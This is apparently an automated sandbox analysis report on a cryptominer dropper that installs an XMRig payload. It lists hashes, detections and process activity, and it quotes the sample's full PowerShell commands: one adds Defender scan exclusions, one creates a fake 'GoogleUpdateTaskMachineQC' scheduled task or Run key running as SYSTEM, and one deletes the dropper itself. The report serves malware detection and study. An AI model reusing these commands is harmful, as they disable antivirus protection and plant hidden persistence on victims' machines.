Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
488s -
max time network
1786s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2000 created 1212 2000 Y2JYGshMHJGuGREA.exe 17 PID 2000 created 1212 2000 Y2JYGshMHJGuGREA.exe 17 PID 2000 created 1212 2000 Y2JYGshMHJGuGREA.exe 17 PID 2000 created 1212 2000 Y2JYGshMHJGuGREA.exe 17 PID 2952 created 1212 2952 updater.exe 17 PID 2952 created 1212 2952 updater.exe 17 PID 2952 created 1212 2952 updater.exe 17 PID 2952 created 1212 2952 updater.exe 17 PID 1696 created 1212 1696 conhost.exe 17 PID 2952 created 1212 2952 updater.exe 17 -
XMRig Miner payload 29 IoCs
resource yara_rule behavioral29/memory/2132-68-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-70-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral29/memory/2132-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2608 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2952 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2856 taskeng.exe -
resource yara_rule behavioral29/memory/2132-63-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral29/memory/2132-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2952 set thread context of 1696 2952 updater.exe 52 PID 2952 set thread context of 2132 2952 updater.exe 53 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe Y2JYGshMHJGuGREA.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2744 schtasks.exe 2660 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1532 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 50ae5b773351da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2000 Y2JYGshMHJGuGREA.exe 2000 Y2JYGshMHJGuGREA.exe 2700 powershell.exe 2000 Y2JYGshMHJGuGREA.exe 2000 Y2JYGshMHJGuGREA.exe 3028 powershell.exe 2000 Y2JYGshMHJGuGREA.exe 2000 Y2JYGshMHJGuGREA.exe 2000 Y2JYGshMHJGuGREA.exe 2000 Y2JYGshMHJGuGREA.exe 2672 powershell.exe 2952 updater.exe 2952 updater.exe 1956 powershell.exe 2952 updater.exe 2952 updater.exe 2572 powershell.exe 2952 updater.exe 2952 updater.exe 2952 updater.exe 2952 updater.exe 1696 conhost.exe 1696 conhost.exe 2952 updater.exe 2952 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2700 powershell.exe Token: SeDebugPrivilege 3028 powershell.exe Token: SeDebugPrivilege 2672 powershell.exe Token: SeDebugPrivilege 1956 powershell.exe Token: SeDebugPrivilege 2572 powershell.exe Token: SeDebugPrivilege 2952 updater.exe Token: SeAssignPrimaryTokenPrivilege 1532 WMIC.exe Token: SeIncreaseQuotaPrivilege 1532 WMIC.exe Token: SeSecurityPrivilege 1532 WMIC.exe Token: SeTakeOwnershipPrivilege 1532 WMIC.exe Token: SeLoadDriverPrivilege 1532 WMIC.exe Token: SeSystemtimePrivilege 1532 WMIC.exe Token: SeBackupPrivilege 1532 WMIC.exe Token: SeRestorePrivilege 1532 WMIC.exe Token: SeShutdownPrivilege 1532 WMIC.exe Token: SeSystemEnvironmentPrivilege 1532 WMIC.exe Token: SeUndockPrivilege 1532 WMIC.exe Token: SeManageVolumePrivilege 1532 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1532 WMIC.exe Token: SeIncreaseQuotaPrivilege 1532 WMIC.exe Token: SeSecurityPrivilege 1532 WMIC.exe Token: SeTakeOwnershipPrivilege 1532 WMIC.exe Token: SeLoadDriverPrivilege 1532 WMIC.exe Token: SeSystemtimePrivilege 1532 WMIC.exe Token: SeBackupPrivilege 1532 WMIC.exe Token: SeRestorePrivilege 1532 WMIC.exe Token: SeShutdownPrivilege 1532 WMIC.exe Token: SeSystemEnvironmentPrivilege 1532 WMIC.exe Token: SeUndockPrivilege 1532 WMIC.exe Token: SeManageVolumePrivilege 1532 WMIC.exe Token: SeLockMemoryPrivilege 2132 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3028 wrote to memory of 2744 3028 powershell.exe 32 PID 3028 wrote to memory of 2744 3028 powershell.exe 32 PID 3028 wrote to memory of 2744 3028 powershell.exe 32 PID 2608 wrote to memory of 2220 2608 cmd.exe 35 PID 2608 wrote to memory of 2220 2608 cmd.exe 35 PID 2608 wrote to memory of 2220 2608 cmd.exe 35 PID 2672 wrote to memory of 2008 2672 powershell.exe 39 PID 2672 wrote to memory of 2008 2672 powershell.exe 39 PID 2672 wrote to memory of 2008 2672 powershell.exe 39 PID 2856 wrote to memory of 2952 2856 taskeng.exe 40 PID 2856 wrote to memory of 2952 2856 taskeng.exe 40 PID 2856 wrote to memory of 2952 2856 taskeng.exe 40 PID 2572 wrote to memory of 2660 2572 powershell.exe 45 PID 2572 wrote to memory of 2660 2572 powershell.exe 45 PID 2572 wrote to memory of 2660 2572 powershell.exe 45 PID 2952 wrote to memory of 1696 2952 updater.exe 52 PID 2040 wrote to memory of 1532 2040 cmd.exe 48 PID 2040 wrote to memory of 1532 2040 cmd.exe 48 PID 2040 wrote to memory of 1532 2040 cmd.exe 48 PID 2952 wrote to memory of 2132 2952 updater.exe 53 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1212
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2000
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2700
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3028 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2744
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Y2JYGshMHJGuGREA.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2608
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2008
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1956
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2660
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1436
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2040
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1696
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2132
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2220
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C:\Windows\system32\taskeng.exetaskeng.exe {6F1C9773-B343-444F-831B-5C6C6A758756} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2856 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2952
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1532
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
232KB
MD51de93b49860acee60beeb949316726d6
SHA12911243e208085fbc3904a41ed7bc1142d5f6bd3
SHA256d1e4041708e884fcd951f72adcd3d4d04025229fcc91fba417cef8f11d126075
SHA51281372ea7da978b87689dec9b50f287bed4acac50b2ede1eaec7f477115042ace016278500acf65ba706c4607d2043cf88757953e07d308856381eb319f06ea2e
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Filesize
1012KB
MD54d5a071c2e6e336bf46aa956ec221010
SHA14aa1d9037a416889d64a828fa222b4ff40b29b36
SHA25660f533af0e833ff0d10595b4213b581e52c226d3746a157255ae136f1e361277
SHA51288b4452081ea7b69b2f69ee7ca6703785d91e7e58beafdad50e1cb14b8bf6c425e6dc350f644fc275194f24b00840fb5ef479f939507ad809fdaadff8acd4a87
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KPKFCIMZAAEI8YC22WXH.temp
Filesize7KB
MD578a6d878c96ad69c4bce290bdf7f428c
SHA16fcb37f0aefd204ee4138bc804254ef100cf9022
SHA256595cce60a06efd518527a9107018e68d69c92154f8fe274bd8513a944a4f99b6
SHA512af01b79c9c09805b75469c19a07f6130b7c4f987c845b34e1aba33c958c7217a0aff49c7c4054fe06b19ca56afe6c794ffdd17ede6c5ce28ed34a84579a4012a
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Filesize
305KB
MD57560cada1aaac1d44eff90117f99a04e
SHA1143e702cad1a9ce57b3b7f3a67948d8ca7060201
SHA256f3e1b8546cc46b20f273ba17bfac3449118811cb9d8f3f0b03580a261eed59e5
SHA512d71b00f7ec7bdc0ab7b0d394722edfcb0aed34e2548097ccd3dcffaeda83d4c0a2dab0a3ee1a3a9e89c0846ebd5fbae4274ca2a9aef13a02e11f3515a76bf0b9